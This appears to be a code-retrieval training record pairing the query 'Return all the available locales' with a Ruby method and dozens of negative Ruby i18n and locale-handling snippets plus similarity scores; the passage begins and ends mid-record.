true).pluck(:locale).uniq\n end", "def key_field_changed?\n primary_key.any? { |field| changed.include?(field.to_s) }\n end", "def has_field?(name)\n fields.key?(name.to_sym)\n end", "def localize_present?\n options[:localize] == :present\n end", "def translations\n OneclickRefernet::Translation.where(key: self.code)\n end", "def persisted_with_slug_changes?\n if localized?\n changes = _slugs_change\n return (persisted? && false) if changes.nil?\n\n # ensure we check for changes only between the same locale\n original = changes.first.try(:fetch, I18n.locale.to_s, nil)\n compare = changes.last.try(:fetch, I18n.locale.to_s, nil)\n persisted? && original != compare\n else\n persisted? && _slugs_changed?\n end\n end", "def included?(fields)\n (fields.values.first == 1 && fields[name.to_s] == 1) ||\n (fields.values.first == 0 && !fields.has_key?(name.to_s))\n end", "def valid_language?(language)\n %w(de en).include?(language)\nend", "def i18n_set?(key)\n I18n.t key, raise: true\n rescue StandardError\n false\n end", "def has_field?(field_name); end", "def loaded?\n Unit.units.has_key? @label\n end", "def translatable\n self._translatable[base_name]\n end", "def translation_domain?\n @tenant.try(:subdomain) == Rails.configuration.translations_subdomain\n end", "def outdated_translations? options = {}\n \n default_options = {\n :locale => :en,\n :delta_time => 23.hours\n }\n \n options = default_options.merge options\n \n translations = self.globalize_translations\n \n default = *(translations.select {|x| x.locale == I18n.default_locale})\n custom = *(translations.select {|x| x.locale == options[:locale]})\n \n if translations.size > 1 && default && custom\n difference = (default.updated_at - custom.updated_at).to_i.abs\n return (options[:delta_time].to_i.abs < difference)\n else\n return false\n end\n end", "def available_locales\n resource.translations.all(:fields => [:locale_tag], :unique => true).map { |t| t.locale }\n end", "def audited_translations(*fields)\n translates *fields\n translation_class.class_eval do\n audited\n end\n end", "def is_to_be_stored?\n any?(&:is_to_be_stored?)\n end", "def translation_admin?\n current_user.respond_to?(:can_admin_translations?) && current_user.can_admin_translations?\n end", "def all_words_valid? set\n (set & DICTIONARY) == set\n end", "def check?(fields)\n @bindings.any? { |group| group.all? { |binding| binding.check?(fields) } }\n end", "def key_value?(key, locale = base_locale)\n !t(key, locale).nil?\n end", "def english?\n return @famille.english? if @famille\n return session[:lang] && session[:lang] == 'en'\n end", "def for_language(locale)\n translations.select { |word| word.locale == locale }\n end", "def translation_for(locale)\n success = true\n tries ||= 3\n translation = self.translations.detect{ |t| t.locale == locale }\n return translation if translation\n return nil if self.new_record\n request = Net::HTTP::Get.new(\"/api/projects/#{Connection.api_key}/terms/#{self.id}/locales/#{locale}/translations.yaml\")\n WebTranslateIt::Util.add_fields(request)\n begin\n response = Util.handle_response(Connection.http_connection.request(request), true, true)\n array = YAML.load(response)\n return nil if array.empty?\n translations = []\n array.each do |translation|\n term_translation = WebTranslateIt::TermTranslation.new(translation)\n translations.push(term_translation)\n end\n return translations\n \n rescue Timeout::Error\n puts \"Request timeout. Will retry in 5 seconds.\"\n if (tries -= 1) > 0\n sleep(5)\n retry\n else\n success = false\n end\n end\n success\n end", "def text_field?(field_name)\n texts.find { |f| f.name == field_name }\n end", "def has_field(field_name)\n\t\tend", "def is_in_english_dict? (input)\n array_of_dictionary = CSV.read('../assets/dictionary-english.csv').map(&:to_a)\n return array_of_dictionary.include? input\nend", "def has_messages?\n\t\t\treturn !(messages.empty?)\n\t\tend", "def translated_locales\n self.i18n.keys\n end", "def plural?\n !@msgid_plural.nil?\n end", "def entered_all_obligatory_fields?(array)\n @contact_form.obligatory_field_ids.each do |field_id|\n if array.blank? || array[\"#{field_id}\"].blank?\n return false\n end\n end\n\n true\n end", "def tracked_embeds_many?(relation)\n tracked_embeds_many.include?(database_field_name(relation))\n end", "def has_label?(id)\n if labels_config[id] && labels_config[id][:label]\n return true if labels_config[id][:label][I18n.locale.to_s]\n return true if labels_config[id][:label][:en]\n end\n return false\n end" ]
[ "0.74261355", "0.7330008", "0.7063302", "0.6832085", "0.68235123", "0.6786202", "0.6767671", "0.67632145", "0.6759438", "0.6566927", "0.64375037", "0.6410383", "0.6357061", "0.6337027", "0.6288107", "0.62561125", "0.62122977", "0.6181754", "0.61224574", "0.6075228", "0.60564405", "0.6054279", "0.5947195", "0.5935709", "0.59287655", "0.5916588", "0.5901747", "0.58867943", "0.57754093", "0.5772691", "0.5761463", "0.575669", "0.5734965", "0.5725329", "0.5705853", "0.5666955", "0.56652474", "0.56619024", "0.5650549", "0.5640307", "0.5638938", "0.5618291", "0.56095856", "0.5575218", "0.55585873", "0.55465746", "0.5544606", "0.5541497", "0.5533324", "0.5520916", "0.5520916", "0.551205", "0.5507003", "0.5505733", "0.55017823", "0.5496971", "0.5492907", "0.5489707", "0.54582536", "0.5446454", "0.54402685", "0.542777", "0.5427041", "0.5418744", "0.54069245", "0.54041857", "0.5388563", "0.5379075", "0.5375179", "0.536586", "0.53406525", "0.53320694", "0.5331792", "0.53308666", "0.53216654", "0.53187126", "0.5316297", "0.530597", "0.5304043", "0.53004295", "0.52982306", "0.5297182", "0.52942365", "0.528689", "0.5271525", "0.5269965", "0.526903", "0.5265142", "0.5241563", "0.52405566", "0.5239449", "0.5233041", "0.5221193", "0.5214949", "0.51948434", "0.51871395", "0.5179749", "0.51774085", "0.51760405", "0.516856", "0.5158903" ]
0.0
-1
Return all the available locales
def available_locales evaluate_localization_option!(:available_locales) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def all_locales\n configatron.full_locales | preferred_locales\n end", "def available_locales\n self.locales.map { |locale| locale.to_sym }\n end", "def locales\n map(&:locale)\n end", "def available_locales\n resource.translations.all(:fields => [:locale_tag], :unique => true).map { |t| t.locale }\n end", "def available_locales\n []\n end", "def available_locales\n locales = Language.sorted_by_abbreviation.pluck(:abbreviation).presence if Language.table_exists?\n (locales.presence || [default_locale])\n end", "def available_locales\r\n ::LinguaFranca.available_locales\r\n end", "def available_locales\n init_names unless init_names?\n names.keys\n end", "def available_locales; end", "def available_locales; end", "def available_locales\n @available_locales ||= begin\n locales = Set.new\n @read.map do |pattern|\n [pattern, Dir.glob(pattern % {locale: '*'})] if pattern.include?('%{locale}')\n end.compact.each do |pattern, paths|\n p = pattern.gsub('\\\\', '\\\\\\\\').gsub('/', '\\/').gsub('.', '\\.')\n p = p.gsub(/(\\*+)/) { $1 == '**' ? '.*' : '[^/]*?' }.gsub('%{locale}', '([^/.]+)')\n re = /\\A#{p}\\z/\n paths.each do |path|\n if re =~ path\n locales << $1\n end\n end\n end\n locales\n end\n end", "def available_locales\n init_translations unless initialized?\n translations.inject([]) do |locales, (locale, data)|\n locales << locale unless (data.keys - [:i18n]).empty?\n locales\n end\n end", "def available_locales\n locales = self.keys.map { |k| k =~ /\\./; $` }\n locales.uniq!\n locales.compact!\n locales.map! { |k| k.to_sym }\n locales\n end", "def available_locales\n locales = self.keys.map { |k| k =~ /\\./; $` }\n locales.uniq!\n locales.compact!\n locales.map! { |k| k.to_sym }\n locales\n end", "def available_locales\n @available_locales ||= begin\n locales = Set.new\n Array(config[:read]).map do |pattern|\n [pattern, Dir.glob(format(pattern, locale: '*'))] if pattern.include?('%{locale}')\n end.compact.each do |pattern, paths|\n p = pattern.gsub('\\\\', '\\\\\\\\').gsub('/', '\\/').gsub('.', '\\.')\n p = p.gsub(/(\\*+)/) { Regexp.last_match(1) == '**' ? '.*' : '[^/]*?' }.gsub('%{locale}', '([^/.]+)')\n re = /\\A#{p}\\z/\n paths.each do |path|\n locales << Regexp.last_match(1) if re =~ path\n end\n end\n locales\n end\n end", "def available_locales\n translation_model.all(:fields => [:locale_tag], :unique => true).map { |t| t.locale }\n end", "def locales\n get(\"locales\")[\"locales\"]\n end", "def available_locales_set; end", "def available_locales\n translations = Dir.glob('config/locales/*').map { |locale| locale.split('/').last.split('.').first }\n locales = []\n translations.each do |t|\n value = (t == 'zh' ? 'zh-CN' : t)\n locales << [LanguageList::LanguageInfo.find(t).name, value]\n end\n locales\n end", "def locales\n locale_sources.compact.downcase.map {|loc| WorldFlags.locale(loc) unless loc.blank? }\n end", "def locales\n locale_counts.keys\n end", "def all_locales\n locales = slugged_attributes\n .map { |attr| send(\"#{attr}_translations\").keys if respond_to?(\"#{attr}_translations\") }\n .flatten.compact.uniq\n locales = I18n.available_locales if locales.empty?\n locales\n end", "def used_locales\r\n locales = globalize.stash.keys.concat(globalize.stash.keys).concat(translations.translated_locales)\r\n locales.uniq!\r\n locales\r\n end", "def locales\n @env.locales\n end", "def get_locales(defaults=[])\n if self.available_locales.present?\n self.available_locales\n else\n defaults\n end\n end", "def translated_locales\r\n all.distinct(\"locale\").sort{ |x,y| x.to_s <=> y.to_s }.map(&:to_sym)\r\n end", "def available_locales\n @available_locales ||= self.languages.published\n end", "def in_available_locales\n locales = if respond_to?(:available_locales)\n available_locales\n else\n I18n.available_locales\n end\n\n locales.flat_map { |locale| I18n.with_locale(locale) { yield } }\n end", "def locales\n self.site.locales || []\n end", "def GetLocales params = {}\n\n params = params.merge(path: 'locales.json')\n APICall(params)\n\n end", "def locale\n @locales = Ramaze::Tool::Localize.languages.map{ |lang|\n [\n Ramaze::Tool::Localize.localize('locale_menu_descrition', lang),\n Ramaze::Tool::Localize.localize('locale_name', lang),\n lang\n ]\n }\n end", "def enabled_locales\n self[:enabled_locales].split(\",\").map(&:to_sym)\n end", "def enabled_locales\n self[:enabled_locales].split(\",\").map(&:to_sym)\n end", "def locales(website)\n if product_families.size > 0\n @locales ||= product_families.map do |pf|\n pf.find_ultimate_parent.locales(website)\n end.flatten.uniq - locales_where_hidden\n else\n @locales ||= website.list_of_all_locales - locales_where_hidden\n end\n end", "def index\n @locales = Tolk::Locale.secondary_locales.sort_by(&:language_name)\n end", "def test_available_locales\n locales = %w[ar az bg bs ca cs da de el en en-GB es es-PA et eu fa fi fr gl he hr hu id it ja ko lt lv mk mn nl no pl pt pt-BR ro ru sk sl sq sr sr-YU sv th tr uk vi zh zh-TW]\n assert_equal locales.uniq.sort.map(&:to_sym), MessageCustomize::Locale.available_locales\n end", "def localeList\n\t\t\t@locales = []\n\t\t\tbasedir = Dir.new(@basepath)\n\t\t\tbasedir.each do |fn|\n\t\t\t\tif File.file?(@basepath + \"/\" + fn) && fn.split('.')[1] == 'sllf'\n\t\t\t\t\t@locales << File.basename(fn, \".sllf\")\n\t\t\t\tend\n\t\t\tend\n\t\t\t@locales\n\t\tend", "def all_published_locales\n translations.where(published: true).map{|x| x.locale}.uniq.sort\n end", "def discover_locale\n locales = Dir[\"#{locale_dir}/*\"]\n locales.map! { |e| File.basename(e) }\n locales.join(\" \")\n end", "def all_locales\n locales = []\n Rails.root.glob(\"config/locales/*.yml\").each do |file|\n match = /(\\w+).yml$/.match(file.to_s)\n locales << match[1] if match\n end\n locales\nend", "def available_locale_preferences\n [@no_preference] + available_locales\n end", "def available_locales=(locales); end", "def locales\n EnvironmentLocaleMethodsFactory.new(self)\n end", "def preferred_locales\n read_attribute(\"preferred_locales\").map(&:to_sym)\n end", "def get_locales\n fall_back = [:ru].to_yaml\n locales = CustomSetting.find_or_create_by_name(\"languages\").value || fall_back\n begin\n locales = YAML::load(locales)\n rescue\n locales = YAML::load(fall_back)\n end\n end", "def known_locales\n if @known_locales.empty?\n [\n [ 'ja', 'Japanese', 'nplurals=1; plural=0;' ],\n [ 'vi', 'Vietnamese', 'nplurals=1; plural=0;' ],\n [ 'ko', 'Korean', 'nplurals=1; plural=0;' ],\n [ 'en', 'English', 'nplurals=2; plural=(n != 1);' ],\n [ 'de', 'German', 'nplurals=2; plural=(n != 1);' ],\n [ 'nl', 'Dutch', 'nplurals=2; plural=(n != 1);' ],\n [ 'sv', 'Swedish', 'nplurals=2; plural=(n != 1);' ],\n [ 'da', 'Danish', 'nplurals=2; plural=(n != 1);' ],\n [ 'no', 'Norwegian', 'nplurals=2; plural=(n != 1);' ],\n [ 'nb', 'Norwegian Bokmal', 'nplurals=2; plural=(n != 1);' ],\n [ 'nn', 'Norwegian Nynorsk', 'nplurals=2; plural=(n != 1);' ],\n [ 'fo', 'Faroese', 'nplurals=2; plural=(n != 1);' ],\n [ 'es', 'Spanish', 'nplurals=2; plural=(n != 1);' ],\n [ 'pt', 'Portuguese', 'nplurals=2; plural=(n != 1);' ],\n [ 'it', 'Italian', 'nplurals=2; plural=(n != 1);' ],\n [ 'bg', 'Bulgarian', 'nplurals=2; plural=(n != 1);' ],\n [ 'el', 'Greek', 'nplurals=2; plural=(n != 1);' ],\n [ 'fi', 'Finnish', 'nplurals=2; plural=(n != 1);' ],\n [ 'et', 'Estonian', 'nplurals=2; plural=(n != 1);' ],\n [ 'he', 'Hebrew', 'nplurals=2; plural=(n != 1);' ],\n [ 'eo', 'Esperanto', 'nplurals=2; plural=(n != 1);' ],\n [ 'hu', 'Hungarian', 'nplurals=2; plural=(n != 1);' ],\n [ 'tr', 'Turkish', 'nplurals=2; plural=(n != 1);' ],\n [ 'pt_BR', 'Brazilian', 'nplurals=2; plural=(n > 1);' ],\n [ 'fr', 'French', 'nplurals=2; plural=(n > 1);' ],\n [ 'lv', 'Latvian', 'nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n != 0 ? 1 : 2);' ],\n [ 'ga', 'Irish', 'nplurals=3; plural=n==1 ? 0 : n==2 ? 1 : 2;' ],\n [ 'ro', 'Romanian', 'nplurals=3; plural=n==1 ? 0 : (n==0 || (n%100 > 0 && n%100 < 20)) ? 1 : 2;' ],\n [ 'lt', 'Lithuanian', 'nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && (n%100<10 || n%100>=20) ? 1 : 2);' ],\n [ 'ru', 'Russian', 'nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);' ],\n [ 'uk', 'Ukrainian', 'nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);' ],\n [ 'be', 'Belarusian', 'nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);' ],\n [ 'sr', 'Serbian', 'nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);' ],\n [ 'hr', 'Croatian', 'nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);' ],\n [ 'cs', 'Czech', 'nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2;' ],\n [ 'sk', 'Slovak', 'nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2;' ],\n [ 'pl', 'Polish', 'nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);' ],\n [ 'sl', 'Slovenian', 'nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || n%100==4 ? 2 : 3);' ]\n ].each do | array_item |\n key = array_item[0].to_sym\n lang = array_item[1]\n plural_form = array_item[2]\n @known_locales[key] = {}\n @known_locales[key][:lang] = lang\n @known_locales[key][:plural_form] = plural_form\n end\n end\n @known_locales\n end", "def locales(locale_type)\n locs = Set.new\n\n each_bathing_water do |bw|\n l = bw[locale_type]\n locs << l if l.is_a?(LdaResource)\n end\n\n locs.to_a.sort_by(&:label)\n end", "def index\n @locales = Locale.all\n end", "def index\n @locales = Locale.all\n end", "def enabled_locales(app_path = nil)\r\n ::LinguaFranca.enabled_locales(app_path)\r\n end", "def translated_locales\n self.i18n.keys\n end", "def supported_locales\n Dir[path_to_cached_locales].map { |path| path =~ /([\\w-]+)\\/timezones\\.yml/ && $1 }\n end", "def site_locales\n preferred_locales.split(/,\\s*/)\n end", "def site_locales\n preferred_locales.split(/,\\s*/)\n end", "def localizations\n @@locales[Locale.code] || {}\n end", "def available_locales_initialized?; end", "def available_translations\n missing_locales = Gallifreyian::Configuration.available_locales - translations.map(&:language)\n missing_locales.each do |locale|\n self.translations << Gallifreyian::Translation::I18nKey.new(language: locale)\n end\n self.translations.order_by({:language => :asc})\n end", "def rtl_locales\n %i[ar]\n end", "def clear_available_locales_set; end", "def accepted_locales\n http_accept_language = request.env['HTTP_ACCEPT_LANGUAGE']\n return [] if http_accept_language.blank?\n langs = http_accept_language.scan(/([a-zA-Z]{2,4})(?:-[a-zA-Z]{2})?(?:;q=(1|0?\\.[0-9]{1,3}))?/).map do |pair|\n lang, q = pair\n [lang.to_sym, (q || '1').to_f]\n end\n langs.sort_by { |lang, q| q }.map { |lang, q| lang }.reverse.uniq\n end", "def select_languages_localized\n available_languages.map{ |x| known_languages.assoc(x)}.map{ |y| [y[2],y[0]]}.sort!\n end", "def getlist\r\n result = SUPPORTED_LANG_LIST\r\n end", "def locales(display = :flags)\n c = ''\n # TODO: The checking for entry or tag is primative and does not cover predefined tags\n page = @entry || @tag\n ls = ((display == :locales) || (display == :allflags) ? SemiStatic::Engine.config.localeDomains : SemiStatic::Engine.config.localeDomains.reject{|k, v| k.to_s == I18n.locale.to_s})\n unless ((display == :locales) && (ls.size == 1))\n ls.each{|l, u|\n if u.downcase == 'translate' \n link = \"http://translate.google.com/translate?hl=&sl=auto&tl=#{l}&u=#{url_encode(request.url)}\"\n else\n # If this is a special page, with no tag or entry, then it will not be seoable so just point locales to the root of the alternate locale website\n page.nil? && (link = u)\n end\n if (display == :flags) || (display == :allflags)\n c+= \"<li class='locale #{l}'><a href='#{link || page.hreflang_link(l) || u}'>#{image_tag(\"flags/\" + l + \".png\", :alt => \"locale #{l}\")}</a></li>\".html_safe\n elsif display == :text\n c+= \"<li class='locale #{l}'><a href='#{link || page.hreflang_link(l) || u}'>#{I18n.t(l)}</a></li>\".html_safe\n else\n if session[:locale] == l\n c+= \"<li class='locale #{l} selected'><a href='#{link || page.hreflang_link(l) || u}'>#{l}</a></li>\".html_safe\n else\n c+= \"<li class='locale #{l}'><a href='#{link || page.hreflang_link(l) || u}'>#{l}</a></li>\".html_safe\n end\n end\n }\n end\n c.html_safe\n end", "def available_translations\n {\n 'en' => 'English',\n 'es' => 'Español',\n 'pt-BR' => 'Português do Brasil'\n }\n end", "def QueryAvailableLocaleIDs()\r\n ret = _invoke(1610743830, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "def matching_locales\n @_matching_locales ||= ::I18n.available_locales.select do |locale|\n locale.to_s.split(\"-\")[0] == language_code\n end\n end", "def QueryAvailableLocaleIDs()\r\n ret = @dispatch._invoke(1610743830, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "def languages\n translations.map(&:language)\n end", "def globalize_fallbacks(for_locale = I18n.locale)\n [for_locale, primary_locale.to_sym].uniq\n end", "def translations_for_select\n Alchemy::I18n.available_locales.map do |locale|\n [_t(locale, :scope => :translations), locale]\n end\n end", "def website_locales\n WebsiteLocale.where(locale: self.code)\n end", "def display_all_languages\n # Interface method\n end", "def getLangs\r\n result = self.class.get '/getLangs', { query:{ key:@@api_key } }\r\n check_result result\r\n end", "def preferred_locales_str\n (preferred_locales || []).join(\",\")\n end", "def all\n countries\n end", "def translations\n translated_locales = @bindings[:object].translated_locales\n available_locales.collect do |locale|\n translated_locales.include?(locale) ? @bindings[:object].translation_for(locale) : @bindings[:object].translations.new({ locale: locale })\n end\n end", "def translations_for route\n available_locales.map do |locale|\n translate_route(route, locale.dup) #we duplicate the locale string to ensure it's not frozen\n end\n end", "def set_variables\n @countries = Country.sorted\n @time_periods = TimePeriod.sorted\n\n @locales = []\n I18n.available_locales.sort.each do |locale|\n @locales << [I18n.t(\"shared.locale.long.#{locale}\"), locale]\n end\n end", "def missing_locales\n project.locales.reject do |locale|\n translations.map(&:locale_id).include? locale.id\n end\n end", "def index\n @locales = query(LOCALE, :code)\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @locales }\n end\n end", "def published_locales\n StoryTranslation.where(:story_id => self.id, :published => true).pluck(:locale).uniq\n end", "def list_lang\n call! :list_lang\n end", "def enabled_locales=(values)\n languages = values.reject{|x| x.blank?}\n # add default, since it's the configured fallback it must exist\n languages = (languages << I18n.default_locale.to_s).uniq\n self[:enabled_locales] = languages.join(\",\")\n end", "def languages\n get(\"/repos/show/#{owner.login}/#{name}/languages\")['languages']\n end", "def get_language_list\n call :get_language_list\n end", "def enabled_locales=(values)\n languages = values.reject { |x| x.blank? }\n # add default, since it's the configured fallback it must exist\n languages = (languages << I18n.default_locale.to_s).uniq\n self[:enabled_locales] = languages.join(\",\")\n end", "def each_locale(include_default_locale = true, &block)\n current_locale = ::Mongoid::Fields::I18n.locale\n _locales = include_default_locale ? self.locales : (self.locales - [self.default_locale])\n\n _locales.each do |locale|\n ::Mongoid::Fields::I18n.with_locale(locale) do\n yield locale, current_locale.to_s == locale.to_s\n end\n end\n end", "def local_names\n ISO3166.configuration.locales = (ISO3166.configuration.locales + languages.map(&:to_sym)).uniq\n reload\n\n @local_names ||= languages.map { |language| translations[language] }\n end", "def normalize_locales\n self.preferred_locales = preferred_locales.map { |l| l.to_s.downcase.gsub(/[^a-z]/, \"\")[0,2] }\n true\n end", "def locale_files\n Dir[File.join(File.dirname(__FILE__), \"polish\", \"locale\", \"**/*\")]\n end", "def locale_files\n Dir[File.join(File.dirname(__FILE__), \"polish\", \"locale\", \"**/*\")]\n end", "def user_languages_hash\n result = Hash.new\n\n I18n.available_locales.each do |locale|\n result[t(\"languages.#{locale.to_s}\")] = locale.to_s\n end\n \n return result\n end", "def lookup_chain = locale(true).lookup", "def index\n @locale_associations = LocaleAssociation.all\n end", "def all\n @raw.map { |l| l['language'] }\n end", "def localized_names\n @localized_names ||= []\n end", "def enforce_available_locales!(locale); end", "def loaded_languages\n @@languages.keys\n end", "def get(locale = Localization.default_locale)\n @locales[locale.to_s]\n end", "def available_languages\n AppConfig.available_languages\n end" ]
[ "0.82769537", "0.82641137", "0.82060885", "0.81328046", "0.8121446", "0.80905735", "0.80225116", "0.79661775", "0.7942778", "0.7942778", "0.7938168", "0.79207426", "0.7909326", "0.7909326", "0.78533924", "0.78366935", "0.7824782", "0.7758507", "0.76867324", "0.7621388", "0.75822985", "0.756395", "0.7558985", "0.75555307", "0.7517926", "0.7413153", "0.74063593", "0.727971", "0.72526073", "0.7223763", "0.7205642", "0.7194741", "0.7194741", "0.7139638", "0.7078831", "0.7058481", "0.7054288", "0.7048866", "0.70350456", "0.7033688", "0.69923884", "0.69805574", "0.6975688", "0.69663936", "0.6920671", "0.68688846", "0.6868077", "0.6780363", "0.6780363", "0.67510974", "0.67169505", "0.6694087", "0.6680647", "0.6680647", "0.66617537", "0.6634664", "0.6629144", "0.6626968", "0.6576753", "0.6559495", "0.652277", "0.6480437", "0.647198", "0.64711314", "0.64434063", "0.6438322", "0.6429593", "0.6425237", "0.6409524", "0.63945365", "0.63897854", "0.6360763", "0.6321538", "0.63067144", "0.6292583", "0.62524045", "0.62519383", "0.62276435", "0.62138486", "0.6184509", "0.61543643", "0.61495775", "0.613361", "0.6102854", "0.60965073", "0.60958815", "0.6089559", "0.60571074", "0.60413766", "0.602914", "0.602914", "0.6019511", "0.60150504", "0.60107744", "0.5971508", "0.5969853", "0.59584564", "0.5956803", "0.5947554", "0.594082" ]
0.8062866
6
Return if a locale is theoretically available in all translated fields
def has_available_locale? locale available_locales.include?(locale.to_sym) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def localized?\n self.entries_custom_fields.where(localized: true).count > 0\n end", "def locale_available?(locale); end", "def fully_translated?\n locale_counts.all? do |locale_code, _|\n fully_translated_in?(locale_code)\n end\n end", "def localized?\n self.locales.size > 1\n end", "def localized?\n true\n end", "def localized?\n @localized ||= (self.languages_count > 1)\n end", "def localized?\n field = self.content_type.label_field\n !!field.try(:localized)\n end", "def check_availability(locale)\n if ['en', 'es'].include? locale.to_s\n locale\n else\n false\n end\n end", "def has_locale? locale\n locales.include?(locale.to_sym)\n end", "def nested_locale_fields?\n false\n end", "def fully_translated_in?(locale_code)\n (locale_counts[locale_code] || -1) >= phrase_count\n end", "def available_locales\n translation_model.all(:fields => [:locale_tag], :unique => true).map { |t| t.locale }\n end", "def localized?\n false\n end", "def valid_locale?(locale)\n FastGettext.available_locales.include?(locale)\n end", "def nested_locale_fields?\n # rubocop:disable Style/DoubleNegation\n !!@nested_locale_fields\n # rubocop:enable Style/DoubleNegation\n end", "def localize_present?\n false\n end", "def locale_enabled?(locale)\r\n locale.to_s == I18n.default_locale.to_s || (get_language_completion(locale) || -1) >= I18n.config.language_threshold\r\n end", "def has_locale?(locale)\n @locales.has_key?(locale.to_s)\n end", "def localize_present?\n options[:localize] == :present\n end", "def locale_prefix_not_allowed?\n params[:locale].present? && !multi_language?\n end", "def available_locales\n resource.translations.all(:fields => [:locale_tag], :unique => true).map { |t| t.locale }\n end", "def international?\n @international\n end", "def explicit_locale? = @explicit_locale", "def contains?(locale, name)\r\n self[locale].has_key?(name.to_s)\r\n end", "def key_has_value?(key, locale = base_locale)\n t(locale_data(locale)[locale], key).present?\n end", "def in_locale?(locale)\n\t\tin_locale = false\n\t\tif locale == :ka && Utf8Converter.is_geo?(self.explaination)\n\t\t\tin_locale = true\n\t\telsif locale != :ka && !Utf8Converter.is_geo?(self.explaination)\n\t\t\tin_locale = true\n\t\tend\n\t\treturn in_locale\n\tend", "def in_locale?(locale)\n\t\tin_locale = false\n\t\tif locale == :ka && Utf8Converter.is_geo?(self.explaination)\n\t\t\tin_locale = true\n\t\telsif locale != :ka && !Utf8Converter.is_geo?(self.explaination)\n\t\t\tin_locale = true\n\t\tend\n\t\treturn in_locale\n\tend", "def available_locales_initialized?; end", "def locale_prefix_not_allowed?\n params[:locale].present? && !multi_language? ||\n params[:locale].presence == ::I18n.default_locale.to_s\n end", "def translated?\n return false if obsolete? || fuzzy?\n not untranslated?\n end", "def valid_locale?(locale_str)\n @loaded_locales.any? { |loc| loc.short == locale_str }\n end", "def translated\n find_all do |entry|\n entry.translated?\n end\n end", "def one_locale_must_have_translations\n if (preferred_locales & configatron.full_locales).empty?\n errors.add(:preferred_locales_str, :one_must_have_translations, locales: configatron.full_locales.join(\",\"))\n end\n end", "def manage_all_sites_translations?\n all_sites_translator? || super_admin?\n end", "def has_language?\n !language.nil?\n end", "def locale_fallback?\n evaluate_localization_option!(:fallback)\n end", "def translated?(name)\n self.class.translated?(name)\n# self.class.instance_variable_get(translated_attribute_names).include?(name.to_sym)\n end", "def key_value?(key, locale = base_locale)\n !t(key, locale).nil?\n end", "def localized_strings?\n @lstrings ||= entry[:localized] && entry[:filename] =~ /strings.js$/\n end", "def supported_language?(locale)\n self.supported_languages.include?(locale.to_s)\n end", "def is_international?\n internation.present?\n end", "def translated?\n texts = errors.values.flatten.map(&:message)\n texts.select { |text| text.start_with?(\"translation missing\") }.empty?\n end", "def translatable?\n [16, 24, 25].include? f_type\n end", "def translated?(name)\r\n self.class.translated?(name)\r\n end", "def valid_language?(language)\n %w(de en).include?(language)\nend", "def available_locales_set; end", "def lang?\n self.lang.nil? ? false : true\n end", "def for_language(locale)\n translations.select { |word| word.locale == locale }\n end", "def available_locales\n evaluate_localization_option!(:available_locales)\n end", "def available_locales\n @available_locales ||= self.languages.published\n end", "def available_locales; end", "def available_locales; end", "def not_the_default_current_locale?\n current_site.localized? && current_content_locale.to_s != current_site.default_locale.to_s\n end", "def not_the_default_current_locale?\n current_site.localized? && current_content_locale.to_s != current_site.default_locale.to_s\n end", "def missing_translation?\n @translations.any? { |x, v| v.nil? or v.blank? }\n end", "def get_matching_ui_locale(locale)\n lang = locale[0,2].downcase\n\n # Check with exact matching\n if Globalite.ui_locales.values.include?(local_case(locale))\n local_case(locale)\n end\n\n # Check on the language only\n Globalite.ui_locales.values.each do |value|\n value.to_s =~ /#{lang}-*/ ? value : nil\n end\n end", "def enforce_available_locales!(locale); end", "def trans_exists?(trans)\n @wordlist.values.include?(trans)\n end", "def is_point_in_locale?(point, locale)\n for i in 1..6\n route = locale.send(\"route_#{i}\")\n \n if !route.nil? && route.points_on_route.include?(point.id.to_s)\n return true\n end\n \n end\n \n return false\n end", "def verificar_locale\n \n end", "def valid_locale?\n unless I18n.available_locales.detect {|alc| alc == I18n.locale }\n redirect_to root_with_locale_url(:locale => I18n.default_locale)\n return false\n end\n true\n end", "def verify_locale(locale)\n (site_locales.include? locale.to_s) ? locale : preferred_default_locale\n end", "def available_locales\n init_translations unless initialized?\n translations.inject([]) do |locales, (locale, data)|\n locales << locale unless (data.keys - [:i18n]).empty?\n locales\n end\n end", "def translation_domain?\n @tenant.try(:subdomain) == Rails.configuration.translations_subdomain\n end", "def verify_locale(locale)\n site_locales.include?(locale.to_s) ? locale : preferred_default_locale\n end", "def by_subdomain?\n conditions[:required_defaults].include?(:localize_subdomain)\n end", "def translates?\n included_modules.include?(InstanceMethods)\n end", "def isLocalized _args\n \"isLocalized _args;\" \n end", "def english?\n return @famille.english? if @famille\n return session[:lang] && session[:lang] == 'en'\n end", "def default_language?\n return true unless params[:locale]\n\n params[:locale].to_s == I18n.default_locale.to_s\n end", "def permit_locale(locale)\n stripped_locale = locale&.strip\n I18n.config.available_locales_set.include?(stripped_locale) ? stripped_locale : nil\n end", "def available_locales\r\n ::LinguaFranca.available_locales\r\n end", "def available_locales\n locales = Language.sorted_by_abbreviation.pluck(:abbreviation).presence if Language.table_exists?\n (locales.presence || [default_locale])\n end", "def default_locale?\n I18n.default_locale == I18n.locale\n end", "def hash_is_for_pluralization?(hash, locale)\n plural_keys = I18n.t('i18n.plural.keys', locale: locale)\n raise missing_pluralisations_message(locale) unless plural_keys.is_a?(Array)\n ((hash.keys.map(&:to_s) - 